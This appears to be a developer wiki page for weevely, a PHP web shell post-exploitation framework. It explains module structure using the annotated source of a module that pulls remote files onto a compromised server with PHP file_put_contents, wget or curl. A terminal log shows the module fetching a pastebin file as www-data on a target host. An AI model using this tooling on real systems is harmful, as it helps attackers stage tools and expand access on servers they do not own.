-
Notifications
You must be signed in to change notification settings - Fork 603
Developing a new module
This chapter covers the concept behind modules, their structure and working examples on how to develop modules.
Modules contain portions of PHP payloads, called vectors, that are dynamically sent and executed to the target machine and extend the weevely core for a variety of post exploitation tasks.
Modules can call other modules, like you do in the weevely terminal. The modules cohesion provides a layer to interact with the target operating system, in order to administrate a web account, audit the target security, pivot deeper in the target network, and much more.
You can easily develop your own module to implement internal audit, login enumerator, sensitive data scraper, network scanner, make the modules work as a HTTP or SQL client and do a whole lot of other cool stuff.
Let's read the module module/file/webdownload.py
with comments about the module structure.
The module name is composed the category and the name module separated by an underscore, in this case file_webdownload
.
This has to be stored under the category folder as module/file/
in a python script named as the module as module/file/webdownload.py
.
from core.vectors import PhpCode, ShellCmd
from core.module import Module
###########################################################################
# The class name is the capitalized module name `Webdownload`.
class Webdownload(Module):
#####################################################
# The one line description of the module is saved
# as python docstring.
"""Download URL to the filesystem"""
#########################################################
# Declare the aliases list. This command is invoked
# to replace the `wget` application in case the system
# command execution is not permitted.
aliases = [ 'wget' ]
def init(self):
#######################################################
# Store a dictionary with the module basic information
# using `register_info`. Arbitrary fields can be added.
self.register_info(
{
'author': [
'Emilio Pinna'
],
'license': 'GPLv3'
}
)
############################################################
# Populate `self.vector` calling `register_vectors` with the
# vectors objects. These are the pieces of code that are
# formatted, transmitted, and execute when the `run` method
# is called.
#
# Multiple Vector types are supported:
#
# PhpCode: PHP code
# ShellCmd: Shell command
# ModuleExec: Execute another module against the target
# PhpFile: PHP code from an external file
#
# The variables in the payload strings (e.g. `${rpath}` and `${url}`)
# are replaced at run-time with the passed arguments, according
# to the `Mako` formatting.
self.register_vectors(
[
##################
# Register the `file_put_contents` PHP vector
PhpCode(
payload = """@file_put_contents("${rpath}",file_get_contents("${url}"));""",
name = "file_put_contents"
),
##################
# Register the shell vector to execute the wget binary
ShellCmd(
payload = """wget ${url} -O ${rpath}""",
name = "wget"
),
##################
# And a shell vector for curl in case wget is not installed
ShellCmd(
payload = """curl -o ${rpath} ${url}""",
name = "curl"
)
]
)
########################################
# Register the accepted argparse arguments calling
# `register_arguments`. The arguments passed at runtime
# are parsed with argparse and saved in `self.args`.
#
# The usage we want to describe is the following:
# :file_webdownload [-vector vector] <url> <rpath>
#
# The syntax is the same of the `argparse` library but
# declared as dictionary.
self.register_arguments(
[
{
'name' : 'url',
'help' : 'URL to download'
},
{
'name' : 'rpath',
'help' : 'Remote file path'
},
{
'name' : '-vector',
'choices' : self.vectors.get_names(),
'default' : "file_put_contents"
},
]
)
def run(self):
#############################################
# The `run` method is called when the module
# is invoked.
# The `self.vectors` object exposes the functions
# to get the result of the execution of the given vectors
# on the target.
#
# `get_result`: Execute one vector
# `get_results`: Execute a list of vectors
# `find_first_result`: Execute the vectors list until a
# condition is verified. Returns the first positive result.
return self.vectors.get_result(
# Execute the `vector` passed by argument in `self.args`
name = self.args.get('vector'),
# Format the selected vector with passed arguments
format_args = self.args
)
You can see the module in action in this weevely terminal session log:
www-data@target:/tmp $ :file_webdownload
usage: file_webdownload [-h] [-vector {file_put_contents,wget,curl}] url rpath
file_webdownload: error: too few arguments
www-data@target:/tmp $ :help file_webdownload
usage: file_webdownload [-h] [-vector {file_put_contents,wget,curl}] url rpath
Download URL to the filesystem
positional arguments:
url URL to download remotely
rpath Remote file path
optional arguments:
-h, --help show this help message and exit
-vector {file_put_contents,wget,curl}
www-data@target:/tmp $ :file_webdownload http://pastebin.com/raw.php?i=7dhusKeS downloaded
www-data@target:/tmp $ ls -al downloaded
-rw-r--r-- 1 www-data www-data 7 Sep 26 17:16 downloaded
www-data@target:/tmp $ rm downloaded
www-data@target:/tmp $ :file_webdownload -vector curl http://pastebin.com/raw.php?i=7dhusKeS downloaded
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 7 0 7 0 0 26 0 --:--:-- --:--:-- --:--:-- 26
www-data@target:/tmp $ ls -al downloaded
-rw-r--r-- 1 www-data www-data 7 Sep 26 17:16 downloaded